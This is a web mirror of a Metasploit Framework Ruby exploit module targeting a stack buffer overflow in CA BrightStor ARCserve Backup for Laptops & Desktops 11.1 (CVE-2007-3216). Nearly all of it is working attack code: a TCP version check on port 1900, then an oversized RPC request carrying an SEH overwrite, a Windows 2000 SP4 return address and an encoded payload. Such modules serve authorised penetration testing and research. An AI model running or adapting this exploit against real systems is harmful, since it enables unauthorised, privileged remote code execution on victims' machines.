CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/brightstor/lgserver_multi.rb
Views: 11783
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = AverageRanking
8
9
include Msf::Exploit::Remote::Tcp
10
include Msf::Exploit::Remote::Seh
11
12
def initialize(info = {})
13
super(update_info(info,
14
'Name' => 'CA BrightStor ARCserve for Laptops and Desktops LGServer Multiple Commands Buffer Overflow',
15
'Description' => %q{
16
This module exploits a stack buffer overflow in Computer Associates BrightStor ARCserve Backup
17
for Laptops & Desktops 11.1. By sending a specially crafted request to multiple commands,
18
an attacker could overflow the buffer and execute arbitrary code.
19
},
20
'Author' => [ 'MC' ],
21
'License' => MSF_LICENSE,
22
'References' =>
23
[
24
[ 'CVE', '2007-3216' ],
25
[ 'OSVDB', '35329' ],
26
[ 'BID', '24348' ],
27
],
28
'Privileged' => true,
29
'DefaultOptions' =>
30
{
31
'EXITFUNC' => 'process',
32
},
33
'Payload' =>
34
{
35
'Space' => 400,
36
'BadChars' => "\x00",
37
'StackAdjustment' => -3500,
38
},
39
'Platform' => 'win',
40
'Targets' =>
41
[
42
[ 'Windows 2000 SP4 English', { 'Ret' => 0x75022ac4 } ],
43
],
44
'DisclosureDate' => '2007-06-06',
45
'DefaultTarget' => 0))
46
47
register_options([ Opt::RPORT(1900) ])
48
end
49
50
def check
51
52
connect
53
54
sock.put("0000000019rxrGetServerVersion")
55
ver = sock.get_once
56
57
disconnect
58
59
if ( ver and ver =~ /11\.1\.742/ )
60
return Exploit::CheckCode::Appears
61
end
62
63
return Exploit::CheckCode::Safe
64
65
end
66
67
def exploit
68
69
connect
70
71
rpc_commands = [
72
"rxsAddNewUser",
73
"rxsSetUserInfo",
74
"rxsRenameUser",
75
"rxsExportData",
76
"rxcReadSaveSetProfile",
77
"rxcInitSaveSetProfile",
78
"rxcAddSaveSetNextAppList",
79
"rxcAddSaveSetNextFilesPathList"
80
]
81
82
rpc_command = rpc_commands[rand(rpc_commands.length)]
83
84
data = rand_text_alpha_upper(62768)
85
86
data[58468,8] = generate_seh_record(target.ret)
87
data[58476,payload.encoded.length] = payload.encoded
88
89
sploit = "0000062768" # Command Length Field
90
sploit << rpc_command # RPC Command
91
sploit << "~~" # Constant Argument Delimiter
92
sploit << data
93
94
print_status("Trying target #{target.name} with command '#{rpc_command}'...")
95
sock.put(sploit)
96
97
handler
98
disconnect
99
100
end
101
end
102
103